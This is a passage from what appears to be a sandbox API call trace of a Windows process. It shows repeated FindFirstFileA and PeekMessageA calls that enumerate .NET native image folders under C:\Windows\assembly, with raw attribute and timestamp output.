lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mcepg\\38e4b4d4c4cf98e359438769fae66149\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a034480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a034480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a034480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.397] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.399] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mcstore\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a1b1240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a1b1240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a1b1240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.400] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mcstore\\740a64a316ada107a23dd34f35ae3b94\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a1b1240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a1b1240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a1b1240, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.401] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.403] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mcstoredb\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a2e1d40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a2e1d40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a2e1d40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.404] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mcstoredb\\c359669d601990310a6b30ab5992ffa8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a2e1d40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a2e1d40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a2e1d40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.404] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.407] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Applicati#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a8af2e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a9dfde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a9dfde0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.408] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Applicati#\\c285072157ebf5c07677e9d813ba45d4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a9dfde0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a9dfde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a9dfde0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.408] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.418] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Applicati#\\cdb429c8c7738b77dd919b4b917b2078\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a8af2e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a8af2e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a8af2e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.419] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.513] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Con#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f4839e8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5f4839e8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5f4839e8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.554] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Con#\\942c10614a6f8c8a22d1f74e217a11d6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f4839e8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5f4839e8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5f4839e8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.554] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.579] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Eng#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6006a7fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x607688aa, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x607688aa, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.580] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Eng#\\14afe54e24cf09fe6c371fc47cfabf0e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x607688aa, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x607688aa, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x607688aa, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.581] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.583] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Eng#\\e4031bd0b7706fd0a686e9bb6353aa2a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6006a7fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6006a7fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6006a7fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.590] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.593] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Fra#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6014f03f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x60957a8e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x60957a8e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.593] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Fra#\\4c0fa9d495ac562afcb136f3e9a87cb9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6014f03f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6014f03f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6014f03f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.594] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.596] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Fra#\\84b83e7639310b35b5ce150df62a2843\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60957a8e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x60957a8e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x60957a8e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.597] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.599] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Tas#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x613e7c41, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x620d93f9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x620d93f9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.606] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Tas#\\880a680b2160130c8cf858a7d2a9067d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x613e7c41, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x613e7c41, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x613e7c41, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.606] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.609] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Tas#\\d7245402b9853a8e390552ba45b3a6b4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x620d93f9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x620d93f9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x620d93f9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.609] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.611] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Uti#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x622a247d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x624b77c0, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x624b77c0, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.612] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Uti#\\30f8865f88bb953486fd20650b54177c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x624b77c0, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x624b77c0, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x624b77c0, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.622] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.624] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Build.Uti#\\dfb5532e4cf07b7324280988a3e1cca4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x622a247d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x622a247d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x622a247d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.624] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.635] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.GroupPoli#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ae7c880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b78fc60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b78fc60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.644] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.GroupPoli#\\0261a298f938ba71a7aab6f91dad326d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b769b00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b78fc60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b78fc60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.644] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.651] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.GroupPoli#\\1901ba5041844f16d62ecf639548c760\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ae7c880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6ae7c880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6ae7c880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.651] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.658] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.GroupPoli#\\4795e3a744b493733f9f2696a5cd8a67\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b319320, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b319320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b319320, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.659] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.664] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Ink\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62d7e8f1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x62d7e8f1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x62d7e8f1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.665] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Ink\\b0d0daea6a1d9a111a0f33a9a868bcf7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62d7e8f1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x62d7e8f1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x62d7e8f1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.665] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.668] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.JScript\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ec08b78, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ec08b78, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ec08b78, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.669] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.JScript\\b3fde69f9642ab464bd3389f1fe3c5bd\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ec08b78, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ec08b78, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ec08b78, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.670] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.672] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Managemen#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59572a99, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x59598bf9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x59598bf9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.673] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Managemen#\\630257a0b042768c2e3104a36559c1a9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59598bf9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x59598bf9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x59598bf9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.673] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.676] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.MediaCent#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69cc84e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x69d86bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69d86bc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0102.676] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.MediaCent#\\d22ec1c367b915c4028867244c6a1623\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69cc84e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x69cc84e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69cc84e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.677] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.680] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.MediaCent#\\e7b8df5d803bb9bd27f63f0074775aaf\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69d86bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x69d86bc0, 